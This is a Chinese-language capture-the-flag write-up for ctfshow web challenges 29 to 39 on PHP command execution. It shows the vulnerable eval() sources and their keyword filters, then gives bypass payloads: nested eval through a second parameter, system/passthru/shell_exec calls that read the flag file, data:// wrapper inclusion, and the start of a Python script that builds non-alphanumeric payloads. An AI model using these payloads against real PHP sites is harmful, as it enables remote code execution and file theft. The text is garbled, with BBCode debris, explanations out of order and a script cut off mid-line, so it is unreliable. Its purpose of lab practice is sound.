ctfshow-web(命令执行)
b
web29
eval($c)漏洞(/flag/i)
- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-09-04 00:12:34
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-09-04 00:26:48
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
复制代码
文件包含**伪协议 + 二次参数- !preg_match("/flag/i", $c)
- 如果输入中包含 flag(不区分大小写),就禁止执行。
- eval() 直接执行你输入的 PHP 代码
复制代码 文件包含**伪协议 + 二次参数
web35
- ?c=eval($_GET[1]);&1=phpinfo();
复制代码 文件包含+伪协议+二次参数- ?c=system("cp fl*g.php a.txt");
- 然后访问
复制代码
- ctfshow{921a5be1-2428-45cb-9eba-b9a9d43a59ef}
复制代码 web35
- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-09-04 00:12:34
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-09-04 00:42:26
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- error_reporting(0);
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag|system|php/i", $c)){
- eval($c);
- }
-
- }else{
- highlight_file(__FILE__);
- }
复制代码 web36
- [/code][list=1]
- [*]$c = $_GET['c'];
- include($c);
- 相当于 PHP 在执行时看到了一句:
- [/list]php
- 复制
- [code]?c=passthru("tac fla*");
复制代码 流解析 + 代码执行阶段 PHP 的 include 并不只是“把磁盘文件拉进来”,它会先根据 流封装器(stream wrapper) 判断协议:
发现是 data:// → 交给 data wrapper 处理。- 字符串拼接的方式动态构造出函数名 system,然后执行系统命令 tac fla*
复制代码 include 拿到这个虚拟文件后,会把它当成 PHP 脚本直接执行(因为内容开头就是 [/code]- ?c=echo shell_exec("tac fla*");
复制代码 web38
- [/code][align=center]
[/align] - [code]ctfshow{df3c4621-c51b-42e3-a0a1-64812e40ae28}
复制代码 web39
- [/code][code]?c=eval($_GET[1]);&1=system("tac fla*");
复制代码 思路如下:
- 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
- 使用POST请求发送c,获取flag
通过他人的脚本可以
无字母数字按位 or 拼接**
[code]import reimport urllibfrom urllib import parseimport requestscontents = []for i in range(256): for j in range(256): hex_i = '{:02x}'.format(i) hex_j = '{:02x}'.format(j) preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I) if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))): continue else: a = '%' + hex_i b = '%' + hex_j c = chr(int(a[1:], 16) | int(b[1:], 16)) if 32 |